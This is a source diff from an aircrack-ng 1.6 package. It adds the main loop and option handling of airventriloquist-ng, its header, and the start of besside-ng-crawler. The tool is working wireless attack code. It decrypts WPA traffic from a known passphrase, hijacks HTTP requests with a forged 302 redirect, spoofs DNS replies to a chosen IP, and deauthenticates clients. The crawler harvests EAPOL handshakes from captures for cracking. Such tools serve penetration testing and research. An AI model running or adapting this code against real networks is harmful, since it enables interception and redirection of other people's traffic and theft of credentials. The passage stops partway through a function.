+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return (1);
+		printf("\n");
+		dev.fd_out = wi_fd(_wi_out);
+		wi_get_mac(_wi_out, dev.mac_out);
+
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return (1);
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("s_face, port_in\n");
+	}
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			return (1);
+		}
+	}
+
+	if (getnet(_wi_in,
+			   NULL,
+			   0,
+			   0,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   0 /* nodetect */)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	rand_init();
+
+	// Set our bitrate to the loudest/most likely to reach the station/AP...
+	set_bitrate(_wi_out, RATE_1M);
+
+	// main Loop
+	while (1)
+	{
+		FD_ZERO(&rfds);
+		FD_SET(dev.fd_in, &rfds);
+
+		tv.tv_sec = 0;
+		tv.tv_usec = 1000; // one millisecond
+
+		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+		{
+			if (errno == EINTR) continue;
+			perror("select failed");
+			return (1);
+		}
+		if (!FD_ISSET(dev.fd_in, &rfds)) continue;
+
+		memset(h80211, 0, sizeof(h80211));
+		caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+		// Ignore small frames...
+		if (caplen <= 30) continue;
+
+		// Check for 802.11 data frame, first byte is FC
+		if ((IEEE80211_FC0_TYPE_DATA & h80211[0]))
+		{
+			process_wireless_packet(h80211, caplen);
+		}
+	}
+}
+
+int main(int argc, char * argv[])
+{
+	int option = 0;
+	int option_index = 0;
+
+	memset(&dev, 0, sizeof(dev));
+	memset(&opt, 0, sizeof(struct communication_options));
+	memset(&lopt, 0, sizeof(struct local_options));
+
+	opt.f_type = -1;
+	opt.f_subtype = -1;
+	opt.f_minlen = -1;
+	opt.f_maxlen = -1;
+	opt.f_tods = -1;
+	opt.f_fromds = -1;
+	opt.f_iswep = -1;
+
+	opt.a_mode = -1;
+	lopt.deauth = 0;
+	opt.delay = 15;
+	opt.r_smac_set = 0;
+	opt.npackets = 1;
+	opt.rtc = 1;
+	opt.f_retry = 0;
+	opt.reassoc = 0;
+	opt.s_face = NULL;
+	opt.iface_out = NULL;
+	lopt.p_hijack_str = NULL;
+	lopt.flag_verbose = 0;
+	lopt.flag_icmp_resp = 0;
+	lopt.flag_http_hijack = 0;
+	lopt.flag_dnsspoof = 0;
+
+	char * p_redir_url = NULL;
+
+	progname = getVersion(
+		"Airventriloquist-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+
+	while (1)
+	{
+
+		option_index = 0;
+		static const struct option long_options[] = {{"redirect", 1, 0, 'r'},
+													 {"interface", 1, 0, 'i'},
+													 {"hijack", 1, 0, 's'},
+													 {"passphrase", 1, 0, 'p'},
+													 {"essid", 1, 0, 'e'},
+													 {"deauth", 0, 0, 'd'},
+													 {"icmp", 0, 0, 'c'},
+													 {"dns", 1, 0, 'n'},
+													 {"verbose", 0, 0, 'v'},
+													 {"help", 0, 0, 'h'},
+													 {0, 0, 0, 0}};
+
+		option = getopt_long(
+			argc, argv, "i:n:r:s:p:e:dcv", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+				break;
+
+			case 'i':
+				printf("Selected Interface is %s\n", optarg);
+				opt.s_face = opt.iface_out = optarg;
+				opt.port_in
+					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
+				opt.port_out = get_ip_port(
+					opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
+				break;
+
+			case 'v':
+				printf("Verbose enabled\n");
+				lopt.flag_verbose = 1;
+				break;
+
+			case 'd':
+				printf("Deauthing enabled\n");
+				lopt.deauth = 1;
+				break;
+
+			case 'c':
+				printf("Debugging by responding to ICMP enabled\n");
+				lopt.flag_icmp_resp = 1;
+				break;
+
+			case 'r':
+				printf("Redirect: %s\n", optarg);
+				p_redir_url = optarg;
+				break;
+
+			case 'n':
+				printf("DNS IP: %s\n", optarg);
+				int retval = inet_pton(AF_INET, optarg, &lopt.p_dnsspoof_ip);
+				if (1 != retval)
+				{
+					printf("Error occurred converting IP, please specify a "
+						   "valid IP, because apparently %s is not\n",
+						   optarg);
+					free(progname);
+					return (EXIT_FAILURE);
+				}
+				lopt.flag_dnsspoof = 1;
+				break;
+
+			case 's':
+				printf("Hijack search term: %s\n", optarg);
+				lopt.p_hijack_str = optarg;
+				lopt.flag_http_hijack = 1;
+				break;
+
+			case 'e':
+				if (lopt.essid[0])
+				{
+					printf("ESSID already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					free(progname);
+					return (EXIT_FAILURE);
+				}
+
+				memset(lopt.essid, 0, sizeof(lopt.essid));
+				strncpy(lopt.essid, optarg, sizeof(lopt.essid) - 1);
+				break;
+
+			case 'p':
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					free(progname);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(lopt.passphrase, 0, sizeof(lopt.passphrase));
+				strncpy(lopt.passphrase, optarg, sizeof(lopt.passphrase) - 1);
+				break;
+
+			case 'h':
+				printf(usage, progname);
+				free(progname);
+				return (EXIT_SUCCESS);
+
+			default:
+			// intentional fall through
+			case ':':
+				printf("\"%s --help\" for help.\n", argv[0]);
+		}
+	}
+
+	if (opt.crypt == CRYPT_WPA)
+	{
+		if (lopt.passphrase[0] != '\0')
+		{
+			/* compute the Pairwise Master Key */
+
+			if (lopt.essid[0] == '\0')
+			{
+				printf("You must also specify the ESSID (-e). This is the "
+					   "broadcast SSID name\n");
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+			}
+
+			calc_pmk(lopt.passphrase, lopt.essid, lopt.pmk);
+		}
+	}
+
+	if (1 == lopt.flag_http_hijack)
+	{
+
+		if (NULL != lopt.p_hijack_str)
+		{
+			printf("hijack string = %s\n", lopt.p_hijack_str);
+		}
+		else
+		{
+			printf("ERROR: No proper hijack string defined\n");
+		}
+
+		if (NULL != p_redir_url)
+		{
+			lopt.p_redir_url = p_redir_url;
+
+			printf("We have a redirect specified\n");
+			char * p_url = strstr(packet302_redirect, REDIRECT_PLACEHOLDER);
+
+			int total_len = strlen(packet302_redirect)
+							- strlen(REDIRECT_PLACEHOLDER)
+							+ strlen(p_redir_url);
+
+			// Allocate memory if we're modifying this
+			lopt.p_redir_pkt_str = malloc(total_len);
+			if (lopt.p_redir_pkt_str != NULL)
+			{
+				char * p_curr = lopt.p_redir_pkt_str;
+				int len_first = p_url - packet302_redirect;
+				// Copy the first part of the packet up to the URL in the header
+				memcpy(p_curr, packet302_redirect, len_first);
+
+				// Next copy the specified redirection URL from user input
+				p_curr = lopt.p_redir_pkt_str + len_first;
+				memcpy(p_curr, p_redir_url, strlen(p_redir_url));
+
+				// Copy the remainder of the packet...
+				p_curr += strlen(p_redir_url);
+				memcpy(p_curr,
+					   p_url + strlen(REDIRECT_PLACEHOLDER),
+					   total_len - len_first - strlen(p_redir_url));
+			}
+			else
+			{
+				printf("ERROR: wasn't able to allocate the memory needed to do "
+					   "redirect... \n");
+				exit(EXIT_FAILURE);
+			}
+		}
+		else
+		{
+			printf("WARNING: \n\tHijack term specified but no redirect "
+				   "specified\n");
+			printf("\tUsing the default redirect specified\n");
+			// Using default redirect in the hardcoded header....
+			lopt.p_redir_pkt_str = packet302_redirect;
+		}
+	}
+
+	if (opt.s_face == NULL)
+	{
+		printf(usage, progname);
+		free(progname);
+		printf(COL_RED "Error, a interface must be specified\n\n" COL_REST);
+		return (EXIT_FAILURE);
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	/*
+	   random source so we can identify our packets
+	*/
+	opt.r_smac[0] = 0x00;
+	opt.r_smac[1] = rand_u8();
+	opt.r_smac[2] = rand_u8();
+	opt.r_smac[3] = rand_u8();
+	opt.r_smac[4] = rand_u8();
+	opt.r_smac[5] = rand_u8();
+
+	opt.r_smac_set = 1;
+
+	// if there is no -h given, use default hardware mac
+
+	if (maccmp(opt.r_smac, NULL_MAC) == 0)
+	{
+		memcpy(opt.r_smac, dev.mac_out, 6);
+		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
+		{
+			printf("No source MAC (-h) specified. Using the device MAC "
+				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
+				   dev.mac_out[0],
+				   dev.mac_out[1],
+				   dev.mac_out[2],
+				   dev.mac_out[3],
+				   dev.mac_out[4],
+				   dev.mac_out[5]);
+		}
+		printf("Using device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
+			   dev.mac_out[0],
+			   dev.mac_out[1],
+			   dev.mac_out[2],
+			   dev.mac_out[3],
+			   dev.mac_out[4],
+			   dev.mac_out[5]);
+	}
+
+	if (maccmp(opt.r_smac, dev.mac_out) != 0
+		&& maccmp(opt.r_smac, NULL_MAC) != 0)
+	{
+		fprintf(stderr,
+				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
+				" doesn't match the specified MAC (-h).\n"
+				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
+				dev.mac_out[0],
+				dev.mac_out[1],
+				dev.mac_out[2],
+				dev.mac_out[3],
+				dev.mac_out[4],
+				dev.mac_out[5],
+				opt.iface_out,
+				opt.r_smac[0],
+				opt.r_smac[1],
+				opt.r_smac[2],
+				opt.r_smac[3],
+				opt.r_smac[4],
+				opt.r_smac[5]);
+	}
+
+	return (do_active_injection());
+}

aircrack-ng-1.6.tar.gz/src/airventriloquist-ng/airventriloquist-ng.h Added

@@ -0,0 +1,320 @@
+#include <stdint.h>
+
+static const uint32_t crc32_ccitt_table[256]
+	= {0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
+	   0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
+	   0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
+	   0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
+	   0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
+	   0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
+	   0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
+	   0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
+	   0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
+	   0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
+	   0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
+	   0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
+	   0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
+	   0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
+	   0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
+	   0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
+	   0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
+	   0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
+	   0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
+	   0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
+	   0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
+	   0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
+	   0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
+	   0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
+	   0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
+	   0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
+	   0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
+	   0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
+	   0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
+	   0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
+	   0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
+	   0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
+	   0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
+	   0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
+	   0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
+	   0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
+	   0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
+	   0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
+	   0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
+	   0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
+	   0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
+	   0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
+	   0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d};
+
+struct net_hdr
+{
+	uint8_t nh_type;
+	uint32_t nh_len;
+	uint8_t nh_data[0];
+} __packed;
+
+struct llc_frame
+{
+	u_int8_t i_dsap;
+	u_int8_t i_ssap;
+	u_int8_t i_ctrl;
+	u_int8_t i_org[3];
+	u_int16_t i_ethtype;
+} __attribute__((packed));
+
+struct wep_frame
+{
+	u_int8_t iv1;
+	u_int8_t iv2;
+	u_int8_t iv3;
+	u_int8_t keyid;
+} __attribute__((packed));
+
+struct ip_frame
+{
+	u_int8_t ver;
+	u_int8_t tos;
+	u_int16_t tot_len;
+	u_int16_t id;
+	u_int16_t frag_off;
+	u_int8_t ttl;
+	u_int8_t protocol;
+	u_int16_t check;
+	u_int32_t saddr;
+	u_int32_t daddr;
+} __attribute__((packed));
+
+struct udp_hdr
+{
+	u_int16_t sport;
+	u_int16_t dport;
+	u_int16_t len;
+	u_int16_t checksum;
+} __attribute__((packed));
+
+struct tcp_hdr
+{
+	u_int16_t sport;
+	u_int16_t dport;
+	u_int32_t seqnu;
+	u_int32_t ack_seq;
+	// u_int16_t len_flags;
+	u_int16_t res1 : 4, doff : 4, fin : 1, syn : 1, rst : 1, psh : 1, ack : 1,
+		urg : 1, ece : 1, cwr : 1;
+	u_int16_t window;
+	u_int16_t checksum;
+	u_int16_t urg_ptr;
+} __attribute__((packed));
+
+/*
+ * Internal of an ICMP Router Advertisement
+ */
+struct icmp_ra_addr
+{
+	u_int32_t ira_addr;
+	u_int32_t ira_preference;
+};
+
+struct icmp
+{
+	u_int8_t icmp_type; /* type of message, see below */
+	u_int8_t icmp_code; /* type sub code */
+	u_int16_t icmp_cksum; /* ones complement checksum of struct */
+	union {
+		u_char ih_pptr; /* ICMP_PARAMPROB */
+		struct in_addr ih_gwaddr; /* gateway address */
+		struct ih_idseq /* echo datagram */
+		{
+			u_int16_t icd_id;
+			u_int16_t icd_seq;
+		} ih_idseq;
+		u_int32_t ih_void;
+
+		/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
+		struct ih_pmtu
+		{
+			u_int16_t ipm_void;
+			u_int16_t ipm_nextmtu;
+		} ih_pmtu;
+
+		struct ih_rtradv
+		{
+			u_int8_t irt_num_addrs;
+			u_int8_t irt_wpa;
+			u_int16_t irt_lifetime;
+		} ih_rtradv;
+	} icmp_hun;
+
+#define icmp_pptr icmp_hun.ih_pptr
+#define icmp_gwaddr icmp_hun.ih_gwaddr
+#define icmp_id icmp_hun.ih_idseq.icd_id
+#define icmp_seq icmp_hun.ih_idseq.icd_seq
+#define icmp_void icmp_hun.ih_void
+#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
+#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
+#define icmp_num_addrs icmp_hun.ih_rtradv.irt_num_addrs
+#define icmp_wpa icmp_hun.ih_rtradv.irt_wpa
+#define icmp_lifetime icmp_hun.ih_rtradv.irt_lifetime
+	union {
+		struct
+		{
+			u_int32_t its_otime;
+			u_int32_t its_rtime;
+			u_int32_t its_ttime;
+		} id_ts;
+		struct
+		{
+			struct ip_frame idi_ip;
+			/* options and then 64 bits of data */
+		} id_ip;
+		struct icmp_ra_addr id_radv;
+		u_int32_t id_mask;
+		u_int8_t id_data[1];
+	} icmp_dun;
+#define icmp_otime icmp_dun.id_ts.its_otime
+#define icmp_rtime icmp_dun.id_ts.its_rtime
+#define icmp_ttime icmp_dun.id_ts.its_ttime
+#define icmp_ip icmp_dun.id_ip.idi_ip
+#define icmp_radv icmp_dun.id_radv
+#define icmp_mask icmp_dun.id_mask
+#define icmp_data icmp_dun.id_data
+};
+
+struct dns_query
+{
+	u_int16_t tid;
+	u_int16_t flags;
+	u_int16_t questions;
+	u_int16_t rrs; // answer RRs
+	u_int16_t arrs; // authority RRs
+	u_int16_t xrrs; // additional RRs
+	u_int8_t qdata;
+};
+
+struct dot1x_hdr
+{
+	u_int8_t code;
+	u_int8_t idtype;
+	u_int16_t length;
+};
+
+#define DOT1X_CODE_REQ 0x1
+#define DOT1X_CODE_RES 0x2
+#define DOT1X_CODE_SEC 0x3
+#define DOT1X_CODE_FAIL 0x4
+
+#define DOT1X_ID_EAP_PACKET 0x0
+#define DOT1X_ID_EAP_START 0x1
+#define DOT1X_ID_EAP_LOGOFF 0x2
+#define DOT1X_ID_EAP_KEY 0x3
+
+struct radius_hdr
+{
+	u_int8_t code;
+	u_int8_t key_mic : 1, key_secure : 1, key_error : 1, key_request : 1,
+		key_enc : 1, resv : 3;
+	u_int8_t key_ver : 3, key_type : 1, key_index : 2, key_install : 1,
+		key_ack : 1;
+	u_int16_t length;
+	u_int8_t replaycnt[8];
+	u_int8_t wpa_nonce[32];
+	u_int8_t wpa_key_iv[16];
+	u_int8_t wpa_key_rsc[8];
+	u_int8_t wpa_key_id[8];
+	u_int8_t wpa_key_mic[16];
+	u_int16_t wpa_key_len;
+	u_int8_t wpa_key_datap; // data starts here
+} __attribute__((packed));
+
+#define ETHTYPE_IP 0x08
+#define ETHTYPE_8021x 0x8E88
+#define PROTO_ICMP 0x01
+#define PROTO_TCP 0x06
+#define PROTO_UDP 0x11
+
+#ifndef TRUE
+#define TRUE 1
+#endif
+#ifndef FALSE
+#define FALSE 0
+#endif
+
+#define PRINTMAC(b)                                                            \
+	printf("%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X\n",                            \
+		   b[0],                                                               \
+		   b[1],                                                               \
+		   b[2],                                                               \
+		   b[3],                                                               \
+		   b[4],                                                               \
+		   b[5]);
+
+#define DNS_RESP_PCKT                                                          \
+	"\x6d\x95\x81\x80"                                                         \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00"                                                                 \
+	"\x00\x00"                                                                 \
+	"\x03\x77\x77\x77"                                                         \
+	"\x04\x61\x73\x64\x66"                                                     \
+	"\x03\x63\x6f\x6d\x00"                                                     \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\xc0\x0c"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00\x14\xb4"                                                         \
+	"\x00\x04"                                                                 \
+	"\x45\xa3\xf0\xc0"
+
+#define DNS_RESP_PCKT_1                                                        \
+	"\x6d\x95\x81\x80"                                                         \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00"                                                                 \
+	"\x00\x00"
+
+#define DNS_RESP_PCKT_2                                                        \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\xc0\x0c"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x01"                                                                 \
+	"\x00\x00\x14\xb4"                                                         \
+	"\x00\x04"                                                                 \
+	"\xC0\xA8\x01\x66"
+
+#define COL_RED "\e[31m"
+#define COL_RED_BOLD "\e[1;31m"
+#define COL_GREEN "\e[32m"
+#define COL_BLUE "\e[34m"
+#define COL_PURPLE "\e[35m"
+#define COL_GRAY "\e[36m"
+#define COL_GRAY_LIGHT "\e[37m"
+#define COL_REST "\e[m"
+
+#define COL_4WAYHS COL_GRAY
+#define COL_4WAYKEY COL_PURPLE
+#define COL_4WAYKEYDATA COL_GREEN
+#define COL_NEWSTA COL_GREEN
+#define COL_NEWSTADATA COL_GRAY
+#define COL_HTTPINJECT COL_RED
+#define COL_HTTPINJECTDATA COL_RED_BOLD
+
+#define REDIRECT_PLACEHOLDER "https://www.google.com/?gws_rd=ssl"
+
+static char * packet302_redirect = "HTTP/1.1 302 Found\r\n\
+Location: https://www.google.com/?gws_rd=ssl\r\n\
+Cache-Control: private\r\n\
+Content-Type: text/html; charset=UTF-8\r\n\
+Date: Sun, 30 Nov 2014 03:25:47 GMT\r\n\
+Server: gws\r\n\
+Content-Length: 231\r\n\
+X-XSS-Protection: 1; mode=block\r\n\
+X-Frame-Options: SAMEORIGIN\r\n\
+Alternate-Protocol: 80:quic,p=0.02\r\n\
+\r\n\
+<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n\
+<TITLE>302 Moved</TITLE></HEAD><BODY>\n\
+<H1>302 Moved</H1>\n\
+The document has moved\n\
+<A HREF=\"https://www.google.com/?gws_rd=ssl\">here</A>.\r\n\
+</BODY></HTML>\r\n";

aircrack-ng-1.6.tar.gz/src/besside-ng Added

aircrack-ng-1.6.tar.gz/src/besside-ng-crawler Added

aircrack-ng-1.6.tar.gz/src/besside-ng-crawler/besside-ng-crawler.c Added

@@ -0,0 +1,451 @@
+/*
+ *  Copyright (C) 2010 Pedro Larbig <pedro.larbig@carhs.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <inttypes.h>
+#include <time.h>
+
+#include <sys/types.h>
+#include <dirent.h>
+#include <errno.h>
+#include <sys/stat.h>
+
+#include <pcap.h>
+
+#include "aircrack-ng/defs.h"
+
+#ifndef DLT_PRISM_HEADER
+#define DLT_PRISM_HEADER 119
+#endif
+
+// Statistics
+static uint32_t stats_files = 0;
+static uint32_t stats_dirs = 0;
+static uint32_t stats_caps = 0;
+static uint32_t stats_noncaps = 0;
+static uint32_t stats_packets = 0;
+static uint32_t stats_eapols = 0;
+static uint32_t stats_networks = 0;
+
+// Global Dumpfile
+static pcap_t * dumphandle = NULL;
+static pcap_dumper_t * dumper = NULL;
+
+struct bsslist
+{
+	u_char * bssid;
+	u_char beacon_saved;
+	struct bsslist * next;
+};
+
+static struct bsslist * is_in_list(struct bsslist * bsl, const u_char * bssid)
+{
+	while (bsl != NULL)
+	{
+		if (!memcmp(bsl->bssid, bssid, 6)) return (bsl);
+		bsl = bsl->next;
+	}
+
+	return (NULL);
+}
+
+static struct bsslist * add_to_list(struct bsslist * bsl, const u_char * bssid)
+{
+	struct bsslist * new, *search;
+
+	new = malloc(sizeof(struct bsslist));
+	ALLEGE(new != NULL);
+	new->bssid = malloc(6);
+	ALLEGE(new->bssid != NULL);
+
+	memcpy(new->bssid, bssid, 6);
+	new->next = NULL;
+	new->beacon_saved = 0x00;
+
+	if (bsl == NULL)
+	{
+		return (new);
+	}
+	else
+	{
+		search = bsl;
+		while (search->next) search = search->next;
+		search->next = new;
+		return (bsl);
+	}
+}
+
+static void free_bsslist(struct bsslist * bsl)
+{
+	if (!bsl) return;
+
+	if (bsl->next) free_bsslist(bsl->next);
+
+	free(bsl->bssid);
+	free(bsl);
+}
+
+static struct bsslist * get_eapol_bssids(pcap_t * handle)
+{
+	struct pcap_pkthdr header;
+	const u_char *pkt, *llc, *bssid, *offset = NULL;
+	struct bsslist * bsl = NULL;
+	int o = 0;
+
+	pkt = pcap_next(handle, &header);
+
+	if (pcap_datalink(handle) == DLT_PRISM_HEADER)
+	{
+		if (pkt[5] || pkt[6])
+		{
+			printf("Unsupported PRISM_HEADER format!\n");
+			return (NULL);
+		}
+		if (pkt[7] == 0x40)
+		{ // prism54 format
+			offset = pkt + 7;
+		}
+		else
+		{
+			offset = pkt + 4;
+		}
+	}
+
+	while (pkt != NULL)
+	{
+		stats_packets++;
+
+		if (offset) o = (*offset);
+
+		if ((pkt[0 + o] == 0x08) || (pkt[0 + o] == 0x88))
+		{ // Data or QoS Data
+
+			if (pkt[0 + o] == 0x88)
+			{ // Qos Data has 2 bytes extra in header
+				llc = pkt + 26 + o;
+			}
+			else
+			{
+				llc = pkt + 24 + o;
+			}
+
+			if ((pkt[1 + o] & 0x03) == 0x01)
+			{ // toDS
+				bssid = pkt + 4 + o;
+			}
+			else
+			{ // fromDS - I skip adhoc and wds since its unlikely to have eapol
+				// in there (?)
+				bssid = pkt + 10 + o;
+			}
+
+			if (!memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8))
+			{
+				stats_eapols++;
+
+				if (!is_in_list(bsl, bssid))
+				{
+					printf("EAPOL found for BSSID: "
+						   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+						   bssid[0],
+						   bssid[1],
+						   bssid[2],
+						   bssid[3],
+						   bssid[4],
+						   bssid[5]);
+					bsl = add_to_list(bsl, bssid);
+					stats_networks++;
+				}
+			}
+		}
+
+		pkt = pcap_next(handle, &header);
+	}
+
+	return (bsl);
+}
+
+static void process_eapol_networks(pcap_t * handle, struct bsslist * bsl)
+{
+	struct pcap_pkthdr header;
+	const u_char *pkt, *llc, *bssid, *offset = 0;
+	struct bsslist * known;
+	int o = 0;
+
+	pkt = pcap_next(handle, &header);
+
+	if (pcap_datalink(handle) == DLT_PRISM_HEADER)
+	{
+		if (pkt[7] == 0x40)
+		{ // prism54 format
+			offset = pkt + 7;
+		}
+		else
+		{
+			offset = pkt + 4;
+		}
+	}
+
+	while (pkt != NULL)
+	{
+
+		if (offset) o = (*offset);
+		header.len -= o;
+
+		if ((pkt[0 + o] == 0x08) || (pkt[0 + o] == 0x88)
+			|| (pkt[0 + o] == 0x80))
+		{
+
+			if ((pkt[1 + o] & 0x03) == 0x01)
+			{ // toDS
+				bssid = pkt + 4 + o;
+			}
+			else if ((pkt[1 + o] & 0x03) == 0x00)
+			{ // beacon
